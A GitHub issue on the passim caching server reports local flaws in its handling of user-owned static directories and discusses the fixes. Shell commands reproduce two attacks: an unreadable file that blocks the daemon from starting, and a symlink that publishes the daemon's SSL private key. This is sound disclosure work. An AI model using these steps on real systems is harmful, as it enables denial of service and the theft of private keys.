hughsie / passim

A local caching server

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Serving Static Files from a Directory owned by Unprivileged Users can Cause Local Denial-of-Service or Information Leaks

mgerstner opened this issue · comments

As an example consider a static directory is configured that is controlled by 'nobody':

root# cat /etc/passim.d/nobody.conf
[passim]
Path=/var/lib/nobody/passim

There's two things that I found problematic in such a scenario.

a) Placing Inaccessible Files in the Directory

root# sudo -u nobody -g nobody /bin/bash
nobody$ mkdir /var/lib/nobody/passim
nobody$ touch /var/lib/nobody/passim/somefile
nobody$ chmod 000 /var/lib/nobody/passim/somefile

This will prevent future starts of passimd:

root# systemctl restart passim.service
Job for passim.service failed because the control process exited with error code.
See "systemctl status passim.service" and "journalctl -xeu passim.service" for details.
root# journalctl -u passim.service | tail -n 6
Oct 25 12:56:58 mybox passimd[5330]: scanning /var/lib/nobody/passim
Oct 25 12:56:58 mybox passimd[5330]: failed to scan sysconfpkg directory: Error opening file /var/lib/nobody/passim/somefile: Permission denied
Oct 25 12:56:58 mybox systemd[1]: passim.service: Main process exited, code=exited, status=1/FAILURE
Oct 25 12:56:58 mybox systemd[1]: passim.service: Failed with result 'exit-code'.
Oct 25 12:56:58 mybox systemd[1]: Failed to start Local Caching Server.

So this opens a local DoS vector against passimd for the unprivileged user that
owns the directory. This is also valid for other situations like a FIFO placed
there, broken symlinks or symlinks to inaccessible locations as well as race
conditions (time of readdir() vs. time of open()).

A compromised nobody account would thus be able to negatively impact passimd.

Since passim is a non-critical network service and can restart itself transparently, the
severity of this issue can be considered low.

b) Placing Symlinks to Otherwise Inaccessible Data in the Directory

Although passimd runs with low privileges by default there are some
interesting files that a local attacker might want to get their hands on. Since
passimd follows symlinks in the directory without worries one could try to
"publish" files from /proc/ by placing symlinks. This is
somewhat difficult though, since a race condition has to be won (the PID of a
starting passimd needs to be known to place a proper symlink). Also
there are not that many interesting files in there I believe. /proc//mem
cannot be shared this way, since it cannot be read sequentially.

A much simpler attack is to publish the SSL private key of passimd though:

root# sudo -u nobody -g nobody /bin/bash
nobody$ mkdir /var/lib/nobody/passim
nobody$ ln -s /var/lib/passim/secret.key /var/lib/nobody/passim/secret

root# systemctl restart passim.service
root# passim dump
passimd is running
1c69e7e4d7b7ed655eafa94942a5ef04f7c7688a0519be387133176154f58fe6 secret size:2.5 kB
root# sha256sum /var/lib/passim/secret.key
1c69e7e4d7b7ed655eafa94942a5ef04f7c7688a0519be387133176154f58fe6  /var/lib/passim/secret.key

From here on the local attacker can simply download the now shared "secret key"
from localhost.

As discussed by private email, this scenario is not actually problematic currently, since the SSL setup in passimd serves no security purpose.

In general this issue means that compromised user accounts for which static directories are configured in passim can access private data of the passim user, even if currently no interesting target seems to be around.

@mgerstner -- can you verify the last three bugs in particular are fixed please. Once you've done that I'll tag a new release. Thanks!

@mgerstner -- can you verify the last three bugs in particular are fixed please. Once you've done that I'll tag a new release. Thanks!

Will do but it will take a few hours, I will report back.

I verified that this fixes the trivial case of a static symlink being encountered.

This is still subject to a TOCTOU race condition, since the file can be replaced by symlink by the time it is actually opened.

It looks like the GFile API does not offer a way to open a file without following symlinks. This would require something like openat(dirfd, subpath, O_NOFOLLOW) or at least open(fullpath, O_NOFOLLOW).

A different approach might be to temporarily drop privileges to the user owning the directory, then checking for symlinks wouldn't even be required in the first place.